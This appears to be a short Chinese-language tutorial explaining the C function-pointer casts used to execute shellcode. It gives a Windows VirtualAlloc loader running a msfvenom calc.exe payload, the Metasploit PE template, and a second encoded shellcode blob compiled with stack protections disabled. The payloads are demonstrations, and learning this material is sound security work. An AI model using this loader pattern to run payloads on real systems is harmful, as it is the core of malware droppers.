Easy C Shellcode Execution

What is ((void(*)())shellcode)() / int (*ret)() = (int(*)())buf;

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <Windows.h>
#include <stdio.h>


int main(int argc, char *argv[])
{
	// msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f c -v code
	unsigned char code[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
		"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
		"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
		"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
		"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
		"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
		"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
		"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
		"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
		"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
		"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
		"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
		"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
		"\x63\x2e\x65\x78\x65\x00";

	void* calc = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(calc, code, sizeof code);
	((void(*)())calc)();
	return 0;
}

如下

1
2
3
4
5
((void (*)()) calc)();

((void (*)(void)) calc)();    // 不带参数(void)

typedef void (*)()

将 calc 转换为一个指向函数的指针，该函数没有参数并返回 void，最后调用这个函数

  • void(*)() 是一个函数指针类型，该函数不返回任何内容(void)
  • 末尾的 () 调用这个函数
  • (void(*)()) calc 显式声明一个函数指针类型 typedef void (*)()

1
2
3
4
5
6
7
8
9
10
11
12
// /usr/src/metasploit-framework/data/templates/src/pe/exe/template.c
#include <stdio.h>

#define SCSIZE 4096
char payload[SCSIZE] = "PAYLOAD:";

char comment[512] = "";

int main(int argc, char **argv) {
	(*(void (*)()) payload)();
	return(0);
}

另一种：int (*ret)() = (int(*)())buf;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>


int main(void)
{
    // shellcode
    unsigned char buf[] =
        "\x48\x31\xc9\x48\x81\xe9\xfc\xff\xff\xff\x48\x8d\x05\xef\xff"
        "\xff\xff\x48\xbb\x95\xdb\xe9\x3a\xf5\xd2\xb2\x9b\x48\x31\x58"
        "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xdd\xea\x3b\xd2\xf2\xd2"
        "\xb2\x9b\xe2\xb3\x86\x5b\x98\xbb\xb2\xc4\xc7\x8c\xa1\xb3\x13"
        "\x9a\x75\x5b\xae\xdb\xe9\x38\xfa\xd7\xb2\x9b";

    printf("Shellcode Length:  %d \n", strlen(buf));
    int (*ret)() = (int(*)())buf;
    ret();
    return 0;
}

将 buf 转换为函数指针类型，并传递给同是函数指针的 ret，最后调用函数


1
gcc -fno-stack-protector -z execstack -o shellcode shellcode.c